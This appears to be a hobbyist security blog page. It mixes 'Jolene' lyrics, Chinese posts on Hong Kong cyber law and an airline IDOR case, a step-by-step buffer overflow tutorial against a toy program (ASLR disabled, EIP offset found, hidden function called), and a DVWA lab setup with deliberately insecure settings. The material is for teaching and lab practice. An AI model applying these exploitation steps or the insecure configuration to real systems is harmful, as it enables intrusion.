Miley Cyrus - The Backyard Sessions - "Jolene"

"Jolene"
(originally by Dolly Parton)

Jolene, Jolene, Jolene, Jolene
Oh, I'm begging of you please don't take my man
Jolene, Jolene, Jolene, Jolene
Please don't take him even though you can

Your beauty is beyond compare
With flaming locks of auburn hair
With ivory skin and eyes of emerald green

Your smile is like a breath of spring
Your skin is soft like summer rain
And I can not compete with you, Jolene

And I could easily understand
How you could easily take my man
But you don't know what he means to me, Jolene

He talks about you in his sleep
There's nothing I can do to keep
From crying, when he calls your name, Jolene, Jolene

Jolene, Jolene, Jolene, Jolene
Please don't take him even though you can
Jolene, Jolene, Jolene, Jolene
Please don't take him even though you can

I had to have this talk with you
My happiness depends on you
And whatever you decide to do, Jolene

And you could have your choice of men
But I could never love again
Cause he's the only one for me, Jolene, Jolene

Jolene, Jolene, Jolene, Jolene
Oh, I'm begging of you please don't take my man
Jolene, Jolene, Jolene, Jolene
Please don't take him even though you can
Jolene, Jolene...

白帽子乎？!

二零一八年十月廿九日，廿七歲的陳子恩發現香港航空公司 (Hong Kong Airlines) 登機證的網址有敏感資料外洩 (學名為 Insecure Direct Object Reference，IDOR) 漏洞，可以任意讀取其他客戶的資料。他辯稱曾聯絡香港航空公司報告有關其漏洞，但未獲正視，所以向傳媒披露。

同日，傳媒隨即向該公司查詢，該公司職員發現陳某曾經在未獲授權的情況下讀取其中一個客戶的資料。 該公司立即報案。經調查後，陳某被控以「電訊條例」的有關罪行。

他在庭上辯護說他發現漏洞，但未被正視，如果這情況在外國，或者是白帽子的話，他就會得到獎賞，但是他卻被檢控有關罪行，覺得不公平和「司法滋擾」。 最後，陳某在二零一九年七月三日被判有罪，准以自簽一千五百港元，守行為一年了事。

現在分析和研究一下陳某是否犯法和其辯護的理由是否合理。

首先白帽子是指「道德黑客」其在書面授權的情況下進行滲透測試 (Penetrating Testing)。若果所謂的白帽子，並不在書面授權之下進行滲透測試，他就是犯法，顧名思義就是黑帽子。 至於獎賞，如果目標的公司或機構是舉行或參與獎賞計劃 (Bug Bounty) 的話，所有參與滲透測試的人員都是在書面授權的情況下操作，如果白帽子有所發現，他們就得到其應有的獎賞。

所以重點就是否在書面授權的情況下進行滲透測試。以這個案例來說，陳某並非在書面授權的情況下進行滲透測試，所以他是觸犯法例的，這情況亦包括外國的其他國家。

最後，我個人認為，陳某是輕判了！請各位不要以身試法。 所謂獎賞是非必然的。

Basic Buffer Overflow Exploit Make Easy

According to Wiki, a buffer overflow, or buffer overrun, is an anomaly where a program, while writing data to a buffer, overruns the buffer's boundary and overwrites adjacent memory locations.

When buffer overflow occurs, attacker can run malicious code accordingly and may escalate the privilege as a result.

I introduce a very simple way to develop the buffer overflow exploit. No complicated procedure can be observed. The exploit development is running on 64-bit Kali Linux.

The following is the C source code of the "vuln.c" :



The "hacker" function is never be called from the program. Our aim is to run it as a result.

To compile the source to an executable :

gcc vuln.c -o vuln -fno-stack-protector -m32

If you cannot compiile to 32-bit, please install the following package :

apt install gcc-multilib

To make it simple, we disable the Address Space Layout Randomization (ASLR) :

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

In order to inspect the executable file, we need to download a tool namely "checksec.sh".

wget https://www.trapkit.de/tools/checksec.sh

Since the file is in Windows DOS format, we need to change it to be Unix format and executable :

dos2unix checksec.sh
chmod +x checksec.sh

Run the following command and you will find out that "NX" is enabled.

./checksec.sh --file vuln



To double check the file is compiled into 32-bit.

file vuln

vuln: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=bc2907521e9842167e7544516653843949dabc9e, not stripped

When everything is alright, we run it to see how it works.

./vuln

What is your name?
samiux
Hey samiux, you're harmless, aren't you?

To see if we can crash it or not with 50 characters :

python -c 'print("A"*50)' > a.txt

cat a.txt | ./vuln

What is your name?
Hey AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, you're harmless, aren't you?
Segmentation fault

Okay, it does crash. Now, we fire up the gdb to do the exploit development :

gdb ./vuln



Feed in the junk characters.

(gdb) r < a.txt



The program is crashed as expected.

We check with the registers to see what had happened.

(gdb) info registers



We noticed that the EIP is overwritten with "A". That means, we can control the EIP then. Once EIP can be controlled, we can run any code from that point. It is because EIP Instruction Pointer Register always contains the address of the next instruction to be executed.

Now, we need to find out how many junk characters to cause the crash. We use the "pattern_create.rb" to create a unique pattern.

Open another terminal and run :

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 50 > b.txt

We feed the unique pattern to the program.

(gdb) r < b.txt



The program is crashed again as expected.

We check the registers again and found out that EIP is overwritten with "0x41346241".

(gdb) info registers



We use the tool namely "pattern_offset.rb" to find out the offset. The offset is 42 for this case.

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41346241
[*] Exact match at offset 42

According to the source code, we know that there are 3 functions, they are main, inSecure and hacker. Our aim here is to run hidden function "hacker". So, we need to find out the address of the function of hacker.

(gdb) info functions



(gdb) disass hacker



We find out that the address of function hacker is "0x565561b9".

Now, the payload will be as the following :

42's "A" and [the address of hacker function]

The PoC Python code "poc.py" :



Exploit it now :

python poc.py | ./vuln

What is your name?
Hey AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�aUV, you're harmless, aren't you?
No, I'm a hacker!
Segmentation fault

The hidden hacker function is ran as a result.


Bonus

To find the EIP address :

python -c 'print("A"*42)+ "B"*4' > c.txt

(gdb) r < c.txt



(gdb) info registers



(gdb) x/50xw $esp -100



The EIP address is 0xffffd32c.

Exploit Education - Phoenix (Stack Overflows)

Exploit Education is formerly Exploit Exercise. They have a series of exploit exercises. The new release is Phoenix which covers the following topics :

- Network programming
- Stack overflows
- Format string vulnerabilities
- Heap overflows

I do the Stack overflows (i486) section recently. However, I cannot solve Stack-Six as it is too difficult for me at the moment.

You can download the virtual machine at here. The current image is v1.0.0-alpha-3 and released on 16th January 2019.

For not being a spoiler, the exploit codes are not shown in the video.



That's all! See you.

VulnHub - Stack Overflows for Beginners 1

Stack Overflows for Beginners 1 is created by Jack Barradell-Johns who is a university student of University of Sheffield. He developed this box for Ethical Hacking Society of the university.

There are 5 flags (including root flag) to capture that are based on basic stack buffer overflow. The box is built on Kali Linux and is about 8 GB to download.

The first level is level0 and the username and password are both "level0".


To avoid for being spoiler, the flags and exploit codes are not shown in the video.

中國香港網絡罪行硏究

中國香港對於網絡罪行的法例比較分散，它們分佈在電訊條例、刑事罪行條例和盜竊罪條例中。我嘗試以我有限的法律知識去硏究一下中國香港的網絡罪行的法例，這純粹是我個人的意見，並不代表香港政府和香港警務處的立場。

以下的硏究是假設在沒有受攻擊方的書面同意書或授權書下地進行。

掃描器

大多數國家及地方都視掃描活動為犯法。至於中國香港又如何呢？

掃描器 (Scanner) 大致有分漏洞掃描器 (Vulnerability Scanner) 和端口掃描器 (Port Scanner) 兩大類。漏洞掃描器又大致有分網絡漏洞掃描器 (Network Vulnerability Scanner) 及網站漏洞掃描器 (Web Application Vulnerability Scanner) 兩大類。在搜證方面，我個人認為端口掃描器的活動比較難搜集證據，而最容易的是網站漏洞掃描器；至於網絡漏洞掃描器就介乎兩者之間。

基於網站漏洞掃描器的活動有可能影響和干擾網站的正常運作，這就有可能觸犯刑事毀壞罪 (Criminal Damage)。而網絡漏洞掃描器活動的影響和干擾相對比較少，但因搜證也不難，所以漏洞掃描器活動亦都有可能觸犯刑事毀壞罪。至於端口掃描活動相對對目標機器的影響和干擾極之少，但並不代表端口掃描活動不犯法，只是搜證比較困難罷了。

阻斷服務或分佈式阻斷服務攻擊

阻斷服務 (Denial of Service, DoS) 和分佈式阻斷服務 (Distributed Denial of Service, DDoS) 攻擊非常明顯地影響和干擾目標機器的正常運作，而且搜證也不太難，所以這活動有可能觸犯了刑事毀壞罪。

域名非法跳轉和跨站腳本攻擊

當網域名稱系統 (Domain Name Service, DNS) 被脅持或網站的跨站腳本 (Cross Site Scripting, XSS) 漏洞被利用，網站可能會被這樣的活動而非接觸式地被改頭換面 (Defacing)。

這活動亦有可能觸犯了刑事毀壞罪或不誠實使用電腦罪 (Obtaining Access Computer with Criminal or Dishonest Intent)，雖然在搜集證據上有一定的困難。

以上的例子在一般大眾是比較難理解的，所以在此列舉作出硏究，以免觸犯法律而不自知。所以掃描目標機器、阻斷服務攻擊和域名跳轉是有可能觸犯香港法例的。

HOWTO : Install DVWA on Ubuntu 18.04.1 LTS

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.


Step 1 :

sudo apt install php7.2 php7.2-gd php-mysql mysql-server apache2 git

Set the MySQL server password as prompt.

Step 2 :

sudo mysql -u root -p

CREATE DATABASE dvwadb;

GRANT ALL PRIVILEGES ON dvwadb.* TO ‘dvwa’@’localhost’ IDENTIFIED BY ‘dvwapassword’;

Step 3 :

sudo nano /etc/php/7.2/apache2/php.ini

Change the "Off" to "On" :

allow_url_include = On

Step 4 :

cd /var/www/html

sudo git clone https://github.com/ethicalhack3r/DVWA.git

cd /var/www/html/DVWA

sudo chmod 777 /var/www/html/DVWA/config
sudo chmod 666 /var/www/html/DVWA/external/phpids/0.6/lib/IDS/tmp/phpids_log.txt
sudo chmod 777 /var/www/html/DVWA/hackable/uploads/

Step 5 :

sudo nano /etc/apache2/sites-enabled/000-default.conf

Append "/DVWA" as the end of "/var/www/html" :

DocumentRoot /var/www/html/DVWA

Step 6 :

sudo cp /var/www/html/DVWA/config/config.inc.php.dist /var/www/html/DVWA/config/config.inc.php

sudo nano /var/www/html/DVWA/config/config.inc.php

Make changes as the following :

$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwadb';
$_DVWA[ 'db_user' ] = 'dvwa';
$_DVWA[ 'db_password' ] = 'dvwapassword';

Step 7 :

Go to https://www.google.com/recaptcha/admin to generate the keys for 'Insecure CAPTCHA' module and add to the related items at "config.inc.php".

Step 8 :

sudo systemctl restart apache2

Step 9 :

http://[server_ip_address]

The username is "admin" while the password is "password".

Beware that the DVWA is vulnerable and do not allow it to be accessed via public.

Step 10 (Optional) :

sudo apt install php7.2-fpm

sudo a2enmod proxy_fcgi setenvif
sudo a2enconf php7.2-fpm

That's all! See you.
